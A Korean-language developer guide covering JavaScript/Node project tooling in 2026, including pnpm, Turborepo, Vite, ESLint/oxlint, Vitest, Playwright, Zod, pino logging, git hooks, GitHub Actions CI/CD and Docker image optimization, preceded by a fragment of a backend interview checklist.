- ☐ 큐 작업이 두 번 실행돼도 괜찮은가
- ☐ DLQ·백로그에 알람이 있는가
- ☐ liveness / readiness 를 분리했는가
- ☐
SIGTERM처리 +preStop이 있는가 - ☐
--max-old-space-size를 지정했는가 - ☐ 로그가 JSON + traceId 인가
- ☐ Redis 가 죽어도 서비스가 동작하는가
- ☐ 부하 테스트로 한계 RPS 를 아는가
면접에서 이렇게 답하면 됩니다
| 질문 | 답의 뼈대 |
|---|---|
| Node 는 싱글 스레드인데 어떻게 트래픽을 받나? |
I/O 대기 중에 다른 요청을 처리 → 대신 CPU 작업이 들어오면 즉시 무너짐 → 워커·별도 서비스로 분리 (k01·k02) |
| 트래픽이 10배가 되면? | 측정(k13) → 이벤트 루프·쿼리 개선 → 캐시 → 읽기 복제본 → 파드 확장 → 비동기화 |
| 선착순 쿠폰 10만 요청 | Redis DECR 로 수량 판정 → 통과분만 큐로 →
워커가 DB 저장. DB 에 10만 요청을 보내지 않습니다 |
| 중복 결제를 어떻게 막나? | Idempotency-Key + Redis 선점 + DB 유니크 제약(최후 방어선) |
| 외부 결제사가 느려지면? | 타임아웃 → 재시도(백오프+지터) → 서킷 브레이커 → 폴백 |
| 서버를 늘렸는데 세션이 풀립니다 |
메모리 세션 → Redis 세션 또는 JWT. 무상태가 확장의 전제(k11) |
순서를 지키세요
코드보다
도구에서
시간이 갈린다
자바스크립트 생태계는 선택지가 너무 많은 것이 문제입니다. 이 탭은 2026년 기준 실무에서 실제로 쓰이는 조합만 골라 “무엇을 왜 고르는가”와 바로 붙여 쓸 설정을 정리했습니다. 여기까지 마치면 새 프로젝트의 개발 환경과 CI/CD 를 처음부터 혼자 세팅할 수 있습니다.
패키지 매니저
팀에서 하나만 정해서 쓰세요. 섞이면 lock 파일이 충돌합니다.
비교
| 도구 | 특징 |
|---|---|
| npm | 기본 내장. 무난. 팀에 특별한 요구가 없으면 이걸로 충분 |
| pnpm | 디스크 절약 + 빠름. 하드링크로 중복 제거. 모노레포에 강함 — 신규 프로젝트 추천 |
| yarn (berry) | PnP 등 고급 기능. 설정이 까다로워 호불호가 갈립니다 |
| bun | 매우 빠르지만 런타임까지 바꾸는 선택. 아직 신중히 |
# pnpm — 요즘 신규 프로젝트의 기본
corepack enable # Node 24 까지 내장 (Node 25+ 는 npm i -g corepack)
pnpm install
pnpm add express
pnpm add -D typescript
pnpm dlx create-vite # npx 에 해당
# ★ 팀에 패키지 매니저를 강제하기
# package.json
{ "packageManager": "pnpm@10.30.2" } # corepack 이 버전까지 맞춰 줍니다
package-lock.json·pnpm-lock.yaml 중
쓰는 것 하나만 남기세요.
install vs ci
npm install # lock 을 "고칠 수 있음" — 개발용
npm ci # ★ lock 그대로, node_modules 삭제 후 재설치
# CI·Docker 는 반드시 이것 (재현성 + 속도)
pnpm install --frozen-lockfile # pnpm 의 ci 에 해당
npm outdated # 오래된 패키지
npm audit # ★ 취약점 검사 (CI 에 포함)
npm ls some-pkg # 왜 설치됐는지 추적
pnpm why some-pkg # (pnpm) 의존 경로
의존성을 늘리기 전에
- 내장 기능으로 되는가? — UUID·날짜 포맷·깊은 복사·fetch 는 이제 전부 내장(🟩 Node n14)
- 마지막 업데이트가 1년 이상 전이면 재검토
- 이 패키지가 또 몇 개를 끌고 오는지 확인
- 번들 크기가 중요한 프런트엔드라면 bundlephobia 로 확인
postinstall스크립트가 있는지 — 공급망 공격의 주요 통로(🧬 d13)
^ 로 두고 lock 으로 고정,
라이브러리는 범위를 넓게 두어 사용자와 충돌하지 않게 합니다.
renovate·dependabot 으로 자동 PR 을 받으면
업데이트를 미루다 한꺼번에 터지는 일을 막습니다.
모노레포
프런트·백엔드·공통 타입을 한 저장소에서 관리합니다.
언제 쓰나
모노레포가 유리
- 프런트·백엔드가 타입·스키마를 공유
- 같은 팀이 여러 앱을 함께 배포
- 공통 UI·유틸 패키지가 있음
- 한 번에 걸친 변경이 잦음
분리가 나은 경우
- 팀·배포 주기가 완전히 다름
- 저장소 권한을 나눠야 함
- CI 시간이 길어져 감당 안 됨
- 구성원이 도구에 익숙하지 않음
my-repo/
pnpm-workspace.yaml
package.json 루트 (공통 devDependencies)
apps/
api/ NestJS 서버
web/ React 프런트
mobile/ React Native
packages/
schema/ ★ Zod 스키마 + 타입 (양쪽에서 import)
ui/ 공통 컴포넌트
config/ eslint · tsconfig 공유 설정
# pnpm-workspace.yaml
packages:
- "apps/*"
- "packages/*"
Turborepo — 빌드 캐시
pnpm add -Dw turbo// turbo.json
{
"tasks": {
"build": {
"dependsOn": ["^build"], // ★ 의존 패키지를 먼저 빌드
"outputs": ["dist/**"]
},
"test": { "dependsOn": ["build"] },
"typecheck": { "dependsOn": ["^build"] },
"dev": { "cache": false, "persistent": true }
}
}
turbo build # 바뀐 것만 빌드 (캐시 활용)
turbo build --filter=api # 특정 앱만
turbo build --filter=...[HEAD^] # 변경된 것과 그것에 의존하는 패키지만 ★ CI 에서 유용
# 효과: 안 바뀐 패키지는 캐시에서 즉시 복원 → CI 시간이 크게 줄어듭니다
// apps/api/package.json — 내부 패키지 참조
{
"dependencies": {
"@repo/schema": "workspace:*" // ★ pnpm 워크스페이스 프로토콜
}
}
// 이렇게 쓰면 프런트·백엔드가 같은 타입을 봅니다
import { CreateUserSchema, type CreateUser } from "@repo/schema";
// 서버: 검증
const dto = CreateUserSchema.parse(req.body);
// 프런트: 폼 검증 + 타입
const form = useForm<CreateUser>({ resolver: zodResolver(CreateUserSchema) });
번들러 · 빌드
목적에 따라 도구가 다릅니다. 고민 시간을 줄이는 표부터.
무엇을 언제
| 도구 | 용도 |
|---|---|
| Vite | 프런트엔드 앱 — 개발 서버가 매우 빠름. 사실상 표준. Vite 8 부터 Rolldown(Rust)이 기본 번들러, oxlint 가 기본 린터입니다 |
| tsup | 라이브러리 — ESM+CJS+d.ts 를 한 번에. 설정이 거의 없음 |
| tsc | Node 서버 — 그냥 컴파일만 하면 될 때 |
| esbuild | 매우 빠른 저수준 번들러 (위 도구들의 내부 엔진) |
| Rollup / Rolldown | 라이브러리 번들의 전통 강자 / Rolldown 이 Vite 8 의 기본이며 Rollup 플러그인과 대체로 호환됩니다 |
| webpack | 레거시 유지보수 외에는 신규 채택 이유가 줄었습니다 |
// vite.config.ts — 프런트엔드
export default defineConfig({
plugins: [react()],
resolve: { alias: { "@": path.resolve(__dirname, "src") } },
server: {
port: 5173,
proxy: { "/api": { target: "http://localhost:3000", changeOrigin: true } },
},
build: {
sourcemap: true,
rolldownOptions: { // Vite 8 — rollupOptions 는 이 이름으로 바뀜
output: {
codeSplitting: { // ★ 자주 안 바뀌는 것을 분리 → 캐시 효율
groups: [{ name: "vendor", test: /node_modules[\\/]react(-dom)?[\\/]/ }],
}, // (manualChunks 객체 형식은 Vite 8 에서 미지원)
},
},
},
});
라이브러리 빌드 — tsup
// tsup.config.ts
export default defineConfig({
entry: ["src/index.ts"],
format: ["esm", "cjs"], // ★ 양쪽 지원 (🟨 JS j09)
dts: true, // 타입 선언 자동 생성
sourcemap: true,
clean: true,
treeshake: true,
external: ["react"], // ★ peer 의존성은 번들에 넣지 않기
});
// package.json — 진입점 정의
{
"type": "module",
"main": "./dist/index.cjs",
"module": "./dist/index.js",
"types": "./dist/index.d.ts",
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.js",
"require": "./dist/index.cjs"
}
},
"files": ["dist"], // ★ 배포에 포함할 것만
"sideEffects": false // 트리셰이킹 허용 신호
}
서버는 번들이 필요할까
대부분 필요 없습니다 — tsc 로 컴파일만 하면 충분합니다.
번들이 유용한 경우
· 서버리스(Lambda) — 콜드 스타트를 줄여야 할 때
· 단일 파일 배포가 필요할 때
· 컨테이너 이미지를 극단적으로 줄일 때
주의: 네이티브 모듈(bcrypt·sharp·better-sqlite3)은
번들에 포함되지 않습니다 → external 로 빼야 합니다
tsc --noEmit 을 별도 스크립트로 분리해
빌드와 병렬로 돌리는 것이 실무 표준입니다.
ESLint · Prettier · Biome
코드 스타일 논쟁을 도구에게 넘기세요.
ESLint 10 — flat config 단독
npm i -D eslint typescript-eslint eslint-config-prettier// eslint.config.js (ESLint 10 부터 이 형식만 됩니다 — .eslintrc 는 제거됐습니다)
import js from "@eslint/js";
import tseslint from "typescript-eslint";
import prettier from "eslint-config-prettier";
export default tseslint.config(
js.configs.recommended,
...tseslint.configs.recommendedTypeChecked, // ★ 타입 정보를 쓰는 규칙
{
languageOptions: {
parserOptions: { projectService: true },
},
rules: {
"@typescript-eslint/no-floating-promises": "error", // ★ await 빠뜨림 방지
"@typescript-eslint/no-misused-promises": "error",
"@typescript-eslint/no-unused-vars": ["warn", { argsIgnorePattern: "^_" }],
"no-console": ["warn", { allow: ["warn", "error"] }],
eqeqeq: ["error", "always"],
},
},
{ ignores: ["dist/**", "coverage/**"] },
prettier, // ★ 항상 마지막 (포맷 규칙 끄기)
);
no-floating-promises 는 켤 가치가 큽니다.
await 를 빠뜨린 Promise 는 조용히 실패하고
Node 프로세스를 죽일 수도 있습니다(🟨 JS j11).
이 규칙 하나가 실제 버그를 여러 개 잡아 줍니다.
.eslintrc.* 와 .eslintignore 가
완전히 제거됐습니다.
9 에서는 ESLINT_USE_FLAT_CONFIG=false 로 옛 형식을 계속 쓸 수 있었지만
10 에는 그 탈출구가 없습니다.
npx @eslint/migrate-config .eslintrc.json 으로 변환하고,
.eslintignore 에 있던 항목은
config 배열 안의 ignores 로 옮기세요
(위 예시의 { ignores: [...] } 블록).
Prettier · Biome
// .prettierrc
{
"semi": true,
"singleQuote": false,
"printWidth": 100,
"trailingComma": "all",
"arrowParens": "always"
}
# Biome — ESLint + Prettier 를 하나로 (Rust 로 작성, 매우 빠름)
npm i -D @biomejs/biome
npx biome init
npx biome check --write . # 린트 + 포맷 한 번에
# 장점: 설정 파일 하나, 10~100배 빠름
# 단점: ESLint 플러그인 생태계(React·Nest 전용 규칙)를 아직 다 못 씁니다
eslint-config-prettier 를 맨 마지막에 두어
겹치는 규칙을 꺼야 합니다.
// .vscode/settings.json — 팀에 공유 (커밋하세요)
{
"editor.formatOnSave": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"editor.codeActionsOnSave": { "source.fixAll.eslint": "explicit" },
"typescript.tsdk": "node_modules/typescript/lib" // ★ 버전 통일
}
recommended 로 시작해 실제로 버그를 잡은 규칙만 추가하는 편이
훨씬 오래갑니다.
oxlint — 세 번째 선택지 2026
Rust 로 쓴 린터입니다. 같은 코드베이스에서 ESLint 대비 50~100배 빠르고, 멀티코어를 전부 씁니다 — 큰 저장소에서 “린트가 몇 분”이던 것이 몇 초가 됩니다. 오랫동안 “빠르지만 타입을 모른다”가 약점이었는데, 2026 년에 tsgo(TypeScript 7 의 Go 컴파일러)를 붙여 타입 인지 린팅이 들어왔고 규칙도 787개까지 늘었습니다. Vite 8 의 기본 린터이고 NestJS 12 의 기본 툴체인에도 들어갑니다.
npx oxlint # 설정 없이 바로 (권장 규칙이 기본)
npx oxlint --fix
npm i -D oxlint
# ESLint 와 같이 쓰기 — 가장 현실적인 조합입니다
# oxlint 가 잡을 수 있는 규칙은 ESLint 에서 꺼 버립니다
npm i -D eslint-plugin-oxlint
// eslint.config.js — oxlint 와 겹치는 규칙을 자동으로 끕니다
import oxlint from "eslint-plugin-oxlint";
export default [
// …기존 설정…
...oxlint.configs["flat/recommended"], // ★ 맨 마지막
];
// package.json
// "lint": "oxlint && eslint ."
// → 빠른 oxlint 가 먼저 걸러 내고, 남은 것만 ESLint 가 봅니다
셋 중 무엇을 고르나
| 상황 | ESLint 10 | Biome | oxlint |
|---|---|---|---|
| 한 줄 요약 | 가장 넓은 생태계. 느림 | 린터 + 포매터 한 몸 | 가장 빠른 린터. 포매터는 없음 |
| 속도 | 기준 | 10~100배 | 50~100배 |
| 플러그인 | 사실상 전부 — React·Nest·import·a11y 등 | 내장 규칙 위주. 커스텀 플러그인은 제한적 | 주요 플러그인의 규칙을 이식 중. 아직 빈 칸이 있음 |
| 타입 인지 규칙 | typescript-eslint 로 완전 지원. 단 TS 7 API 대기 중(o-TS t14) | 제한적 | tsgo 기반으로 2026 에 도입 — 범위는 아직 좁음 |
| 포맷 | Prettier 를 따로 | 내장 | 없음 — Prettier·Biome 과 조합 |
| 고르는 기준 | 기존 프로젝트 · 플러그인 의존이 큼 ★ | 새 프로젝트 · 설정 파일을 하나로 줄이고 싶을 때 | 린트가 느려서 괴로울 때 — ESLint 와 병행이 정답 |
테스트 — Vitest
테스트가 빨라야 사람들이 돌립니다.
설정
npm i -D vitest @vitest/coverage-v8// vitest.config.ts
export default defineConfig({
test: {
globals: true, // describe·it 을 import 없이
environment: "node", // 프런트엔드면 "jsdom"
setupFiles: ["./test/setup.ts"],
coverage: {
provider: "v8",
reporter: ["text", "lcov"],
exclude: ["**/*.config.*", "**/dist/**"],
},
// 통합 테스트는 파일 단위로 순차 실행 (DB 충돌 방지)
fileParallelism: false,
},
});
import { describe, it, expect, vi, beforeEach } from "vitest";
describe("OrderService", () => {
const repo = { save: vi.fn(), findById: vi.fn() };
const service = new OrderService(repo as any);
beforeEach(() => vi.clearAllMocks());
it("재고가 부족하면 주문이 실패한다", async () => {
repo.findById.mockResolvedValue({ stock: 0 });
await expect(service.create({ productId: 1, qty: 1 }))
.rejects.toThrow(OutOfStockError);
expect(repo.save).not.toHaveBeenCalled();
});
it("시간에 의존하는 로직", () => {
vi.useFakeTimers();
vi.setSystemTime(new Date("2026-08-04"));
expect(isExpired(order)).toBe(true);
vi.useRealTimers();
});
});
모킹 전략
// 모듈 전체 모킹
vi.mock("./mailer", () => ({ sendMail: vi.fn().mockResolvedValue(true) }));
// 일부만 실제로
vi.mock("./config", async (importOriginal) => ({
...(await importOriginal<typeof import("./config")>()),
API_URL: "http://test",
}));
// ★ 외부 HTTP 는 msw 로 (실제 네트워크 계층에서 가로챕니다)
import { setupServer } from "msw/node";
import { http, HttpResponse } from "msw";
const server = setupServer(
http.get("https://api.pay.com/verify", () =>
HttpResponse.json({ status: "APPROVED" })),
);
beforeAll(() => server.listen({ onUnhandledRequest: "error" }));
afterEach(() => server.resetHandlers());
afterAll(() => server.close());
무엇을 테스트할까
- 돈·권한·재고 관련 로직 — 반드시
- 버그가 났던 곳 — 재발 방지 테스트를 먼저
- 복잡한 분기·계산 — 할인·정산·유효기간
- 단순 CRUD·getter — 안 해도 됩니다
E2E — Playwright
진짜 브라우저로 사람이 하듯 클릭해 봅니다.
기본
npm init playwright@latestimport { test, expect } from "@playwright/test";
test("로그인 후 주문을 생성한다", async ({ page }) => {
await page.goto("/login");
// ★ 접근성 기준으로 찾으세요 (CSS 선택자보다 훨씬 안 깨집니다)
await page.getByLabel("이메일").fill("test@example.com");
await page.getByLabel("비밀번호").fill("password123");
await page.getByRole("button", { name: "로그인" }).click();
await expect(page).toHaveURL("/dashboard");
await expect(page.getByText("환영합니다")).toBeVisible();
await page.getByRole("link", { name: "주문하기" }).click();
await page.getByRole("button", { name: "결제" }).click();
await expect(page.getByRole("alert")).toContainText("주문이 완료");
});
// playwright.config.ts
export default defineConfig({
testDir: "./e2e",
fullyParallel: true,
retries: process.env.CI ? 2 : 0, // ★ CI 에서만 재시도
use: {
baseURL: "http://localhost:5173",
trace: "on-first-retry", // ★ 실패 시 재현 자료
screenshot: "only-on-failure",
video: "retain-on-failure",
},
webServer: { // 테스트 전 서버 자동 실행
command: "npm run dev",
port: 5173,
reuseExistingServer: !process.env.CI,
},
projects: [
{ name: "chromium", use: devices["Desktop Chrome"] },
{ name: "mobile", use: devices["iPhone 14"] },
],
});
실무 요령
// ① 로그인 상태를 재사용 (매번 로그인하면 너무 느립니다)
// global-setup.ts
const page = await browser.newPage();
await login(page);
await page.context().storageState({ path: "e2e/.auth/user.json" });
// 사용
test.use({ storageState: "e2e/.auth/user.json" });
// ② 네트워크 응답 고정 (외부 API 의존 제거)
await page.route("**/api/payments", (route) =>
route.fulfill({ json: { status: "APPROVED" } }));
// ③ 기다리기 — ★ 절대 sleep 을 쓰지 마세요
await page.waitForResponse(r => r.url().includes("/api/orders"));
await expect(locator).toBeVisible(); // 자동으로 재시도하며 대기
// ❌ await page.waitForTimeout(3000); // 느리고 불안정
npx playwright test # 실행
npx playwright test --ui # ★ UI 모드 — 단계별로 보며 디버깅
npx playwright codegen localhost:5173 # ★ 조작을 코드로 기록
npx playwright show-report
codegen 으로 시작하세요.
브라우저에서 직접 클릭하면 테스트 코드가 자동으로 만들어집니다.
거기서 다듬는 편이 처음부터 손으로 쓰는 것보다 훨씬 빠릅니다.
Zod — 런타임 검증
타입은 실행 중에는 사라집니다. 바깥에서 오는 값은 다시 확인해야 합니다.
어디에 쓰나
- API 요청 본문·쿼리 (🚂 Express x05)
- 환경 변수 — 부팅 시 검증 (🟩 Node n08)
- 외부 API 응답 — 상대가 형태를 바꿔도 즉시 발견
- localStorage·설정 파일 — 옛 버전 데이터가 남아 있을 수 있음
- 폼 입력 — react-hook-form 과 연동
import { z } from "zod";
export const OrderSchema = z.object({
id: z.uuid(),
amount: z.number().int().positive(),
status: z.enum(["PENDING", "PAID", "CANCELLED"]),
items: z.array(z.object({
productId: z.number(),
qty: z.number().int().min(1).max(99),
})).min(1, "상품을 하나 이상 선택하세요"),
memo: z.string().max(500).optional(),
createdAt: z.coerce.date(), // ★ 문자열 → Date 자동 변환
});
export type Order = z.infer<typeof OrderSchema>; // ★ 타입 자동 생성
// 사용
const result = OrderSchema.safeParse(input);
if (!result.success) {
console.log(result.error.issues); // [{ path, message, code }]
return;
}
result.data.amount; // number 로 확정
실무 패턴
// ① 변환 · 정제
const UserSchema = z.object({
email: z.preprocess(v => typeof v === "string" ? v.trim().toLowerCase() : v, z.email()),
age: z.coerce.number().int(), // "25" → 25
tags: z.string().transform(s => s.split(",")), // "a,b" → ["a","b"]
});
// ② 조건부 검증
const PaymentSchema = z.discriminatedUnion("method", [
z.object({ method: z.literal("card"), cardNumber: z.string().length(16) }),
z.object({ method: z.literal("bank"), accountNo: z.string() }),
]); // ★ 🔷 TS t04 의 판별 유니온과 정확히 대응됩니다
// ③ 커스텀 규칙
const SignUpSchema = z.object({
password: z.string().min(8),
confirm: z.string(),
}).refine(d => d.password === d.confirm, {
message: "비밀번호가 일치하지 않습니다",
path: ["confirm"],
});
// ④ 외부 API 응답 검증 — 상대가 바뀌면 즉시 알 수 있습니다
const res = await fetch(url);
const data = ExternalApiSchema.parse(await res.json());
// ⑤ 환경 변수 (부팅 시 한 번)
export const env = z.object({
NODE_ENV: z.enum(["development", "production", "test"]),
PORT: z.coerce.number().default(3000),
DATABASE_URL: z.url(),
JWT_SECRET: z.string().min(32),
}).parse(process.env);
packages/schema 에 두고
프런트·백엔드가 공유하세요(o02).
Valibot 은 같은 개념에 번들 크기가 더 작은 대안입니다.
z.email() · z.url() · z.uuid() ·
z.iso.date() · z.jwt() 로 쓰세요 —
z.string().email() 같은 메서드 형태는 폐기 예정입니다.
최상위 함수라야 안 쓰는 검사기가 트리셰이킹되어 번들에서 빠집니다.
트림·소문자화가 필요하면
z.preprocess(v => typeof v === "string" ? v.trim().toLowerCase() : v, z.email())
처럼 앞단에서 정제하세요.
HTTP · 날짜 · 유틸
라이브러리를 넣기 전에 내장 기능으로 되는지 먼저 확인하세요.
HTTP 클라이언트
| 선택 | 기준 |
|---|---|
| fetch (내장) | Node 18+ · 브라우저 공통. 대부분 이걸로 충분 |
| ky | fetch 래퍼 — 재시도·타임아웃·훅. 가볍습니다 |
| axios | 인터셉터 생태계가 필요할 때. 무겁습니다 |
| undici | Node 전용 저수준 — 커넥션 풀 제어가 필요할 때 |
// fetch 를 감싸는 얇은 클라이언트 — 실무에서 이 정도면 충분합니다
async function api<T>(path: string, init?: RequestInit & { schema?: ZodType<T> }) {
const res = await fetch(`${BASE}${path}`, {
...init,
headers: { "Content-Type": "application/json", ...init?.headers },
signal: init?.signal ?? AbortSignal.timeout(10_000), // ★ 타임아웃 기본값
});
if (!res.ok) {
const body = await res.text();
throw new HttpError(res.status, body);
}
const json = await res.json();
return init?.schema ? init.schema.parse(json) : (json as T); // ★ 검증까지
}
// ky — 재시도가 필요하면
import ky from "ky";
const client = ky.create({
prefixUrl: BASE,
timeout: 10_000,
retry: { limit: 2, methods: ["get"], backoffLimit: 3000 },
hooks: {
beforeRequest: [(req) => req.headers.set("Authorization", `Bearer ${token}`)],
},
});
날짜 · 숫자 · 유틸
// ★ 포맷만 필요하면 내장 Intl 로 충분합니다 (🟨 JS j15)
new Intl.DateTimeFormat("ko-KR", { dateStyle: "long" }).format(d);
new Intl.NumberFormat("ko-KR", { style: "currency", currency: "KRW" }).format(n);
new Intl.RelativeTimeFormat("ko").format(-3, "day"); // "3일 전"
// 계산이 많으면 date-fns (함수 단위 import — 번들이 작습니다)
import { addDays, differenceInDays, format, isAfter } from "date-fns";
import { ko } from "date-fns/locale";
format(new Date(), "yyyy년 M월 d일 (E)", { locale: ko });
// ❌ moment — 유지보수 종료. 신규 도입 금지
// △ dayjs — moment 와 API 가 같아 마이그레이션에 유리
// lodash 를 넣기 전에 — 대부분 내장으로 됩니다
_.uniq(arr) → [...new Set(arr)]
_.groupBy(a, fn) → Object.groupBy(a, fn) // ES2024
_.cloneDeep(o) → structuredClone(o)
_.pick / _.omit → 구조 분해 (🟨 JS j07)
_.debounce → 직접 5줄 (🟨 JS j04)
// 정말 필요한 것만 개별 설치
import debounce from "lodash-es/debounce"; // 트리셰이킹 가능
vite-bundle-visualizer 로 한 번 확인해 보세요.
moment + lodash + axios 조합만 걷어내도
번들이 수백 KB 줄어드는 경우가 흔합니다.
로깅 · 환경 변수
운영에서 문제를 찾는 시간이 여기서 갈립니다.
pino — 구조화 로그
import pino from "pino";
export const logger = pino({
level: process.env.LOG_LEVEL ?? "info",
// ★ 비밀 값 마스킹 — 실수로 토큰을 남기는 사고를 막습니다
redact: {
paths: ["req.headers.authorization", "req.headers.cookie",
"*.password", "*.passwordHash", "*.cardNumber"],
censor: "[REDACTED]",
},
base: { service: "order-api", env: process.env.NODE_ENV },
transport: process.env.NODE_ENV !== "production"
? { target: "pino-pretty", options: { colorize: true } }
: undefined, // ★ 운영은 JSON 그대로
});
// 자식 로거로 문맥 고정
const reqLog = logger.child({ requestId, userId });
reqLog.info({ orderId }, "주문 생성 완료");
운영 출력 (JSON 한 줄 — 검색·집계가 됩니다)
{"level":30,"time":1754283121412,"service":"order-api","env":"production",
"requestId":"a1b2","userId":7,"orderId":"O-1","msg":"주문 생성 완료"}
로그 레벨 기준
error 사람이 봐야 하는 것 (알람 대상)
warn 이상하지만 처리는 됨
info 중요한 상태 변화 (주문·결제·로그인)
debug 개발용 — 운영에서는 끔
★ 모든 것을 info 로 찍으면 아무것도 안 보입니다.
환경 변수 관리
# Node 20.6+ 는 dotenv 없이 읽습니다
node --env-file=.env --env-file=.env.local app.js
# 파일 전략
.env.example ★ 커밋 O — 어떤 변수가 필요한지 문서 역할
.env 커밋 X (.gitignore)
.env.test 테스트용
# 운영은 파일이 아니라 "주입" (K8s Secret · Parameter Store)
// config/env.ts — ★ 부팅 시 한 번 검증하고 이후엔 이것만 씁니다
import { z } from "zod";
const schema = z.object({
NODE_ENV: z.enum(["development", "production", "test"]).default("development"),
PORT: z.coerce.number().default(3000),
DATABASE_URL: z.url(),
REDIS_URL: z.url(),
JWT_SECRET: z.string().min(32),
LOG_LEVEL: z.enum(["debug", "info", "warn", "error"]).default("info"),
});
const parsed = schema.safeParse(process.env);
if (!parsed.success) {
console.error("환경 변수 오류:",
parsed.error.issues.map(i => `${i.path}: ${i.message}`).join("\n"));
process.exit(1); // ★ 부팅을 막습니다
}
export const env = parsed.data;
// 이후 코드에서는 process.env 를 직접 쓰지 마세요
// import { env } from "./config/env.js"; → env.PORT (number 로 확정)
gitleaks·trufflehog 를 pre-commit 훅에 넣어
애초에 못 들어가게 막는 것이 정답입니다(o10).
Git 훅 · 커밋 규칙
사람이 매번 챙기던 것을 기계에게 넘깁니다.
husky + lint-staged
npm i -D husky lint-staged · npx husky init# .husky/pre-commit
npx lint-staged
// package.json — ★ 변경된 파일만 검사 (빠릅니다)
{
"lint-staged": {
"*.{ts,tsx}": ["eslint --fix", "prettier --write"],
"*.{json,md,yml}": ["prettier --write"]
}
}
# .husky/pre-push — 푸시 전에 타입 검사·테스트
npm run typecheck && npm test
--no-verify 로 우회합니다.
포맷·린트는 pre-commit, 테스트는 pre-push 나 CI 로 나누세요.
커밋 메시지 규칙
# Conventional Commits — 사실상 표준
feat: 새 기능
fix: 버그 수정
refactor: 동작 변화 없는 개선
perf: 성능
docs: 문서
test: 테스트
chore: 빌드·설정
ci: CI 설정
예)
feat(order): 주문 취소 API 추가
fix(auth): 토큰 만료 시 401 대신 500 이 내려가던 문제
★ 이 규칙을 지키면 CHANGELOG·버전을 자동 생성할 수 있습니다
// commitlint.config.js
export default {
extends: ["@commitlint/config-conventional"],
rules: {
"subject-case": [0], // 한글 제목 허용
"header-max-length": [2, "always", 100],
},
};
// .husky/commit-msg → npx commitlint --edit $1
# 비밀 값 커밋 방지 — ★ 이건 꼭 넣으세요
npm i -D @secretlint/quick-start
# .husky/pre-commit 에 추가
npx secretlint "**/*"
CI/CD
테스트 → 빌드 → 배포를 사람 손 없이.
GitHub Actions — 기본형
name: CI
on:
pull_request:
push: { branches: [main] }
jobs:
check:
runs-on: ubuntu-latest
services: # ★ 테스트용 DB 를 띄웁니다
postgres:
image: postgres:18
env: { POSTGRES_PASSWORD: test }
options: >-
--health-cmd pg_isready --health-interval 10s
ports: ["5432:5432"]
redis:
image: redis:8
ports: ["6379:6379"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 24
cache: npm # ★ 의존성 캐시 (시간 크게 절약)
- run: npm ci
- run: npm run typecheck
- run: npm run lint
- run: npm test
env:
DATABASE_URL: postgresql://postgres:test@localhost:5432/test
REDIS_URL: redis://localhost:6379
- run: npm audit --audit-level=high # 취약점 검사
- uses: codecov/codecov-action@v4 # 커버리지 리포트
배포 워크플로
deploy:
needs: check
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production # ★ 승인 게이트를 걸 수 있습니다
permissions: { id-token: write, contents: read, packages: write } # ghcr 푸시 권한
steps:
- uses: actions/checkout@v4
- uses: docker/login-action@v3 # ★ 푸시 전에 레지스트리 로그인
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@v6
with:
push: true
tags: |
ghcr.io/${{ github.repository }}:${{ github.sha }}
ghcr.io/${{ github.repository }}:latest
cache-from: type=gha # ★ 레이어 캐시
cache-to: type=gha,mode=max
- name: 배포
run: |
kubectl set image deployment/api \
api=ghcr.io/${{ github.repository }}:${{ github.sha }}
kubectl rollout status deployment/api --timeout=5m # ★ 실패 시 감지
latest 만 쓰지 마세요.
커밋 SHA 로 태그하면 “지금 도는 게 어느 코드인지”가 명확하고,
문제가 생겼을 때 이전 태그로 즉시 롤백할 수 있습니다.
파이프라인 설계 원칙
- 빠른 것부터 — 타입 검사·린트를 먼저, 무거운 E2E 는 나중에
- PR 에서는 검사만, 배포는 main 병합 후
- 모노레포라면 바뀐 것만 (
turbo --filter=...[HEAD^]) - 비밀 값은 OIDC 로 — 장기 액세스 키를 저장하지 마세요
- 배포 후 헬스체크 확인까지 파이프라인에 포함
Docker 이미지 최적화
이미지가 작아야 배포가 빠르고 공격면이 줄어듭니다.
크기 줄이기
# ❌ 흔한 문제 — 1.2GB
FROM node:24
WORKDIR /app
COPY . . # node_modules·.git 까지 복사
RUN npm install # devDependencies 포함
CMD ["npm", "start"]
# ✅ 개선 — 200MB 이하
FROM node:24-alpine AS deps
WORKDIR /app
COPY package*.json ./
RUN npm ci # ★ 이 레이어는 package.json 이 안 바뀌면 캐시됨
FROM node:24-alpine AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build
FROM node:24-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist
USER node
CMD ["node", "dist/index.js"]
# .dockerignore — ★ 이것부터 만드세요
node_modules
.git
.env*
dist
coverage
**/*.test.ts
.github
레이어 캐시 원리
Docker 는 각 명령을 레이어로 저장하고,
"앞 레이어가 안 바뀌면" 뒤를 재사용합니다.
★ 자주 바뀌는 것을 뒤에 두세요
1. package.json 복사 → npm ci (가끔 바뀜 → 캐시 잘 됨)
2. 소스 복사 → 빌드 (자주 바뀜)
이 순서를 뒤집으면 코드 한 줄만 고쳐도
매번 의존성을 새로 설치합니다 (수 분 낭비)
베이스 이미지 선택
| 이미지 | 특징 |
|---|---|
node:24 | ~1GB. 디버깅 도구 포함 |
node:24-alpine | ~180MB. 가장 흔한 선택. 단, 네이티브 모듈 빌드 시 이슈가 있을 수 있음 |
node:24-slim | ~250MB. glibc 기반 — alpine 이슈 회피용 |
| distroless | 가장 작고 안전. 셸이 없어 디버깅이 어렵습니다 |
# 이미지 분석
docker images # 크기 확인
docker history my-image # 레이어별 크기
npx dive my-image # ★ 레이어 탐색 도구
# 취약점 스캔
docker scout cves my-image
trivy image my-image # CI 에 넣으면 좋습니다
ENV API_KEY=xxx 나 COPY .env 는
이미지를 받은 누구나 볼 수 있습니다(docker history).
빌드 시 필요하면 --secret 마운트를 쓰고,
런타임 값은 환경 변수로 주입하세요.
목적별 도구 찾기
“이걸 하려면 뭘 써야 하지?”를 한글로 검색하세요.
| 하려는 일 | 추천 | 메모 |
|---|---|---|
| 엑셀 읽기·쓰기 | exceljs | 스트리밍 지원. 대용량은 WorkbookWriter |
